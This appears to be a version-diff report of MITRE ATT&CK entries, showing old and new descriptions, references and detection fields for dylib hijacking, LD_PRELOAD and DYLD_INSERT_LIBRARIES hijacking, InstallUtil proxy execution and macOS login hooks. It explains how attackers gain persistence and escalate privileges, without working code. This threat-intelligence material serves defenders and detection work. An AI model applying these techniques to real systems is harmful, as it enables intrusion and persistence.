| > | mic libraries (dylib) to load into a program based on search | > | sed on the location of the executable. Additionally, if wea | ||
| > | paths. A common method is to see what dylibs an applicatio | > | k linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</cod | ||
| > | n uses, then plant a malicious version with the same name hi | > | e> function, an application will still execute even if an ex | ||
| > | gher up in the search path. This typically results in the dy | > | pected dylib is not present. Weak linking enables developers | ||
| > | lib being in the same folder as the application itself. (Cit | > | to run an application on multiple macOS versions as new API | ||
| > | ation: Writing Bad Malware for OSX) (Citation: Malware Persi | > | s are added. Adversaries may gain execution by inserting ma | ||
| > | stence on OS X) If the program is configured to run at a hi | > | licious dylibs with the name of the missing dylib in the ide | ||
| > | gher privilege level than the current user, then when the dy | > | ntified path.(Citation: Wardle Dylib Hijack Vulnerable Apps) | ||
| > | lib is loaded into the application, the dylib will also run | > | (Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github | ||
| > | at that elevated level. | > | EmpireProject HijackScanner)(Citation: Github EmpireProject | ||
| > | CreateHijacker Dylib) Dylibs are loaded into an application | ||||
| > | 's address space allowing the malicious dylib to inherit the | ||||
| > | application's privilege level and resources. Based on the a | ||||
| > | pplication, this could result in privilege escalation and un | ||||
| > | inhibited network access. This method may also evade detecti | ||||
| > | on from security products since the execution is masked unde | ||||
| > | r a legitimate process.(Citation: Writing Bad Malware for OS | ||||
| > | X)(Citation: wardle artofmalware volume1)(Citation: MalwareU | ||||
| > | nicorn macOS Dylib Injection MachO) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021. |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | CAPEC-471 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 16:48:09.391000+00:00 | 2022-05-05 04:08:30.203000+00:00 |
| description | Adversaries may execute their own malicious payloads by hijacking ambiguous paths used to load libraries. Adversaries may plant trojan dynamic libraries, in a directory that will be searched by the operating system before the legitimate library specified by the victim program, so that their malicious library will be loaded into the victim program instead. MacOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. A common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X) If the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. | Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.
Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO) |
| external_references[1]['source_name'] | capec | MalwareUnicorn macOS Dylib Injection MachO |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/471.html | https://malwareunicorn.org/workshops/macos_dylib_injection.html#5 |
| external_references[2]['source_name'] | Writing Bad Malware for OSX | Apple Developer Doco Archive Run-Path |
| external_references[2]['description'] | Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017. | Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021. |
| external_references[2]['url'] | https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf | https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html |
| external_references[3]['source_name'] | Malware Persistence on OS X | Wardle Dylib Hijacking OSX 2015 |
| external_references[3]['description'] | Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017. | Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021. |
| external_references[3]['url'] | https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf | https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf |
| x_mitre_data_sources[0] | Process monitoring | Module: Module Load |
| x_mitre_data_sources[1] | File monitoring | File: File Creation |
| x_mitre_defense_bypassed[0] | Application control | Application Control |
| x_mitre_detection | Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. | Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.
Run path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner) |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Writing Bad Malware for OSX', 'description': 'Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.', 'url': 'https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf'} | |
| external_references | {'source_name': 'Wardle Dylib Hijack Vulnerable Apps', 'description': 'Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021.', 'url': 'https://objective-see.com/blog/blog_0x46.html'} | |
| external_references | {'source_name': 'wardle artofmalware volume1', 'description': 'Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021.', 'url': 'https://taomm.org/vol1/pdfs.html'} | |
| external_references | {'source_name': 'Github EmpireProject HijackScanner', 'description': 'Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021.', 'url': 'https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py'} | |
| external_references | {'source_name': 'Github EmpireProject CreateHijacker Dylib', 'description': 'Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021.', 'url': 'https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py'} | |
| external_references | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/471.html', 'external_id': 'CAPEC-471'} | |
| x_mitre_data_sources | File: File Modification |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by hija |
| > | cking the dynamic linker used to load libraries. The dynamic | > | cking environment variables the dynamic linker uses to load | ||
| > | linker is used to load shared library dependencies needed b | > | shared libraries. During the execution preparation phase of | ||
| > | y an executing program. The dynamic linker will typically ch | > | a program, the dynamic linker loads specified absolute paths | ||
| > | eck provided absolute paths and common directories for these | > | of shared libraries from environment variables and files, s | ||
| > | dependencies, but can be overridden by shared objects speci | > | uch as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT | ||
| > | fied by LD_PRELOAD to be loaded before all others.(Citation: | > | _LIBRARIES</code> on macOS. Libraries specified in environme | ||
| > | Man LD.SO)(Citation: TLDP Shared Libraries) Adversaries ma | > | nt variables are loaded first, taking precedence over system | ||
| > | y set LD_PRELOAD to point to malicious libraries that match | > | libraries with the same function name.(Citation: Man LD.SO) | ||
| > | the name of legitimate libraries which are requested by a vi | > | (Citation: TLDP Shared Libraries)(Citation: Apple Doco Archi | ||
| > | ctim program, causing the operating system to load the adver | > | ve Dynamic Libraries) These variables are often used by deve | ||
| > | sary's malicious code upon execution of the victim program. | > | lopers to debug binaries without needing to recompile, decon | ||
| > | LD_PRELOAD can be set via the environment variable or <code> | > | flict mapped symbols, and implement custom functions without | ||
| > | /etc/ld.so.preload</code> file.(Citation: Man LD.SO)(Citatio | > | changing the original library.(Citation: Baeldung LD_PRELOA | ||
| > | n: TLDP Shared Libraries) Libraries specified by LD_PRELOAD | > | D) On Linux and macOS, hijacking dynamic linker variables m | ||
| > | with be loaded and mapped into memory by <code>dlopen()</cod | > | ay grant access to the victim process's memory, system/netwo | ||
| > | e> and <code>mmap()</code> respectively.(Citation: Code Inje | > | rk resources, and possibly elevated privileges. This method | ||
| > | ction on Linux and macOS) (Citation: Uninformed Needle) (Cit | > | may also evade detection from security products since the ex | ||
| > | ation: Phrack halfdead 1997) LD_PRELOAD hijacking may grant | > | ecution is masked under a legitimate process. Adversaries ca | ||
| > | access to the victim process's memory, system/network resou | > | n set environment variables via the command line using the < | ||
| > | rces, and possibly elevated privileges. Execution via LD_PRE | > | code>export</code> command, <code>setenv</code> function, or | ||
| > | LOAD hijacking may also evade detection from security produc | > | <code>putenv</code> function. Adversaries can also leverage | ||
| > | ts since the execution is masked under a legitimate process. | > | [Dynamic Linker Hijacking](https://attack.mitre.org/techniq | ||
| > | ues/T1574/006) to export variables in a shell or set variabl | ||||
| > | es programmatically using higher level syntax such Python’s | ||||
| > | <code>os.environ</code>. On Linux, adversaries may set <cod | ||||
| > | e>LD_PRELOAD</code> to point to malicious libraries that mat | ||||
| > | ch the name of legitimate libraries which are requested by a | ||||
| > | victim program, causing the operating system to load the ad | ||||
| > | versary's malicious code upon execution of the victim progra | ||||
| > | m. <code>LD_PRELOAD</code> can be set via the environment va | ||||
| > | riable or <code>/etc/ld.so.preload</code> file.(Citation: Ma | ||||
| > | n LD.SO)(Citation: TLDP Shared Libraries) Libraries specifie | ||||
| > | d by <code>LD_PRELOAD</code> are loaded and mapped into memo | ||||
| > | ry by <code>dlopen()</code> and <code>mmap()</code> respecti | ||||
| > | vely.(Citation: Code Injection on Linux and macOS)(Citation: | ||||
| > | Uninformed Needle) (Citation: Phrack halfdead 1997)(Citatio | ||||
| > | n: Brown Exploiting Linkers) On macOS this behavior is con | ||||
| > | ceptually the same as on Linux, differing only in how the ma | ||||
| > | cOS dynamic libraries (dyld) is implemented at a lower level | ||||
| > | . Adversaries can set the <code>DYLD_INSERT_LIBRARIES</code> | ||||
| > | environment variable to point to malicious libraries contai | ||||
| > | ning names of legitimate libraries or functions requested by | ||||
| > | a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIE | ||||
| > | S)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilond | ||||
| > | o DYLD_INSERT_LIBRARIES Catalina Bypass) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 16:49:46.904000+00:00 | 2021-04-27 19:55:18.453000+00:00 |
| name | LD_PRELOAD | Dynamic Linker Hijacking |
| description | Adversaries may execute their own malicious payloads by hijacking the dynamic linker used to load libraries. The dynamic linker is used to load shared library dependencies needed by an executing program. The dynamic linker will typically check provided absolute paths and common directories for these dependencies, but can be overridden by shared objects specified by LD_PRELOAD to be loaded before all others.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)
Adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD with be loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS) (Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)
LD_PRELOAD hijacking may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. Execution via LD_PRELOAD hijacking may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)
On Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the export command, setenv function, or putenv function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python’s os.environ.
On Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD are loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers)
On macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) |
| external_references[5]['source_name'] | Code Injection on Linux and macOS | Apple Doco Archive Dynamic Libraries |
| external_references[5]['description'] | Itamar Turner-Trauring. (2017, April 18). “This will only hurt for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017. | Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021. |
| external_references[5]['url'] | https://www.datawire.io/code-injection-on-linux-and-macos/ | https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html |
| external_references[6]['source_name'] | Uninformed Needle | Baeldung LD_PRELOAD |
| external_references[6]['description'] | skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017. | baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021. |
| external_references[6]['url'] | http://hick.org/code/skape/papers/needle.txt | https://www.baeldung.com/linux/ld_preload-trick-what-is |
| external_references[7]['source_name'] | Phrack halfdead 1997 | Code Injection on Linux and macOS |
| external_references[7]['description'] | halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017. | Itamar Turner-Trauring. (2017, April 18). “This will only hurt for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017. |
| external_references[7]['url'] | http://phrack.org/issues/51/8.html | https://www.datawire.io/code-injection-on-linux-and-macos/ |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | File monitoring | File: File Modification |
| x_mitre_data_sources[2] | Environment variable | Module: Module Load |
| x_mitre_detection | Monitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD, as well as the commands to implement these changes. Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates. | Monitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD and DYLD_INSERT_LIBRARIES, as well as the commands to implement these changes.
Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates. |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Uninformed Needle', 'description': 'skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.', 'url': 'http://hick.org/code/skape/papers/needle.txt'} | |
| external_references | {'source_name': 'Phrack halfdead 1997', 'description': 'halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017.', 'url': 'http://phrack.org/issues/51/8.html'} | |
| external_references | {'source_name': 'Brown Exploiting Linkers', 'description': 'Tim Brown. (2011, June 29). Breaking the links: Exploiting the linker. Retrieved March 29, 2021.', 'url': 'http://www.nth-dimension.org.uk/pub/BTL.pdf'} | |
| external_references | {'source_name': 'TheEvilBit DYLD_INSERT_LIBRARIES', 'description': 'Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020.', 'url': 'https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/'} | |
| external_references | {'source_name': 'Timac DYLD_INSERT_LIBRARIES', 'description': 'Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020.', 'url': 'https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/'} | |
| external_references | {'source_name': 'Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass', 'description': 'Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021.', 'url': 'https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191'} | |
| x_mitre_data_sources | File: File Creation | |
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_platforms | macOS |
Current version: 2.0
Version changed from: 1.0 → 2.0
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['William Cain'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_network_requirements | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 00:50:31.361000+00:00 | 2022-04-12 19:57:45.277000+00:00 |
| name | Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol | Exfiltration Over Unencrypted Non-C2 Protocol |
| x_mitre_data_sources[0] | Network protocol analysis | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Netflow/Enclave netflow | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Packet capture | File: File Access |
| x_mitre_data_sources[3] | Process use of network | Command: Command Execution |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network Traffic: Network Connection Creation |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use InstallUtil to proxy execution of code t | t | 1 | Adversaries may use InstallUtil to proxy execution of code t |
| > | hrough a trusted Windows utility. InstallUtil is a command-l | > | hrough a trusted Windows utility. InstallUtil is a command-l | ||
| > | ine utility that allows for installation and uninstallation | > | ine utility that allows for installation and uninstallation | ||
| > | of resources by executing specific installer components spec | > | of resources by executing specific installer components spec | ||
| > | ified in .NET binaries. (Citation: MSDN InstallUtil) Install | > | ified in .NET binaries. (Citation: MSDN InstallUtil) The Ins | ||
| > | Util is digitally signed by Microsoft and located in the .NE | > | tallUtil binary may also be digitally signed by Microsoft an | ||
| > | T directories on a Windows system: <code>C:\Windows\Microsof | > | d located in the .NET directories on a Windows system: <code | ||
| > | t.NET\Framework\v<version>\InstallUtil.exe</code> and <code> | > | >C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.e | ||
| > | C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil. | > | xe</code> and <code>C:\Windows\Microsoft.NET\Framework64\v<v | ||
| > | exe</code>. InstallUtil may also be used to bypass applicat | > | ersion>\InstallUtil.exe</code>. InstallUtil may also be use | ||
| > | ion control through use of attributes within the binary that | > | d to bypass application control through use of attributes wi | ||
| > | execute the class decorated with the attribute <code>[Syste | > | thin the binary that execute the class decorated with the at | ||
| > | m.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLB | > | tribute <code>[System.ComponentModel.RunInstaller(true)]</co | ||
| > | AS Installutil) | > | de>. (Citation: LOLBAS Installutil) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:34:46.529000+00:00 | 2022-03-11 18:47:52.603000+00:00 |
| description | Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v and C:\Windows\Microsoft.NET\Framework64\v.
InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil) | Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v and C:\Windows\Microsoft.NET\Framework64\v.
InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil) |
| x_mitre_data_sources[0] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use macOS logon scripts automatically execut | t | 1 | Adversaries may use a Login Hook to establish persistence ex |
| > | ed at logon initialization to establish persistence. macOS a | > | ecuted upon user logon. A login hook is a plist file that po | ||
| > | llows logon scripts (known as login hooks) to be executed wh | > | ints to a specific script to execute with root privileges up | ||
| > | enever a specific user logs into a system. A login hook tell | > | on user logon. The plist file is located in the <code>/Libra | ||
| > | s Mac OS X to execute a certain script when a user logs in, | > | ry/Preferences/com.apple.loginwindow.plist</code> file and c | ||
| > | but unlike [Startup Items](https://attack.mitre.org/techniqu | > | an be modified using the <code>defaults</code> command-line | ||
| > | es/T1037/005), a login hook executes as the elevated root us | > | utility. This behavior is the same for logout hooks where a | ||
| > | er.(Citation: creating login hook) Adversaries may use thes | > | script can be executed upon user logout. All hooks require a | ||
| > | e login hooks to maintain persistence on a single system.(Ci | > | dministrator permissions to modify or create hooks.(Citation | ||
| > | tation: S1 macOs Persistence) Access to login hook scripts m | > | : Login Scripts Apple Dev)(Citation: LoginWindowScripts Appl | ||
| > | ay allow an adversary to insert additional malicious code. T | > | e Dev) Adversaries can add or insert a path to a malicious | ||
| > | here can only be one login hook at a time though and dependi | > | script in the <code>com.apple.loginwindow.plist</code> file | ||
| > | ng on the access configuration of the hooks, either local cr | > | , using the <code>LoginHook</code> or <code>LogoutHook</code | ||
| > | edentials or an administrator account may be necessary. | > | > key-value pair. The malicious script is executed upon the | ||
| > | next user login. If a login hook already exists, adversaries | ||||
| > | can add additional commands to an existing login hook. Ther | ||||
| > | e can be only one login and logout hook on a system at a tim | ||||
| > | e.(Citation: S1 macOs Persistence)(Citation: Wardle Persiste | ||||
| > | nce Chapter) **Note:** Login hooks were deprecated in 10.11 | ||||
| > | version of macOS in favor of [Launch Daemon](https://attack | ||||
| > | .mitre.org/techniques/T1543/004) and [Launch Agent](https:// | ||||
| > | attack.mitre.org/techniques/T1543/001) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-27 16:49:15.786000+00:00 | 2022-04-20 16:42:05.094000+00:00 |
| name | Logon Script (Mac) | Login Hook |
| description | Adversaries may use macOS logon scripts automatically executed at logon initialization to establish persistence. macOS allows logon scripts (known as login hooks) to be executed whenever a specific user logs into a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike [Startup Items](https://attack.mitre.org/techniques/T1037/005), a login hook executes as the elevated root user.(Citation: creating login hook) Adversaries may use these login hooks to maintain persistence on a single system.(Citation: S1 macOs Persistence) Access to login hook scripts may allow an adversary to insert additional malicious code. There can only be one login hook at a time though and depending on the access configuration of the hooks, either local credentials or an administrator account may be necessary. | Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev)
Adversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)
**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) |
| external_references[1]['source_name'] | creating login hook | Login Scripts Apple Dev |
| external_references[1]['description'] | Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved July 17, 2017. | Apple. (2016, September 13). Customizing Login and Logout. Retrieved April 1, 2022. |
| external_references[1]['url'] | https://support.apple.com/de-at/HT2420 | https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html |
| external_references[2]['source_name'] | S1 macOs Persistence | LoginWindowScripts Apple Dev |
| external_references[2]['description'] | Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020. | Apple. (n.d.). LoginWindowScripts. Retrieved April 1, 2022. |
| external_references[2]['url'] | https://www.sentinelone.com/blog/how-malware-persists-on-macos/ | https://developer.apple.com/documentation/devicemanagement/loginwindowscripts |
| x_mitre_data_sources[0] | Process monitoring | File: File Creation |
| x_mitre_data_sources[1] | File monitoring | Process: Process Creation |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Wardle Persistence Chapter', 'description': 'Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022.', 'url': 'https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf'} | |
| external_references | {'source_name': 'S1 macOs Persistence', 'description': 'Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020.', 'url': 'https://www.sentinelone.com/blog/how-malware-persists-on-macos/'} | |
| x_mitre_data_sources | File: File Modification | |
| x_mitre_data_sources | Command: Command Execution |
Current version: 2.0
Version changed from: 1.0 → 2.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:35:27.613000+00:00 | 2022-03-11 20:38:28.802000+00:00 |
| external_references[1]['description'] | Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017. | Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021. |
| external_references[1]['url'] | https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf | https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf |
| x_mitre_data_sources[0] | File monitoring | Command: Command Execution |
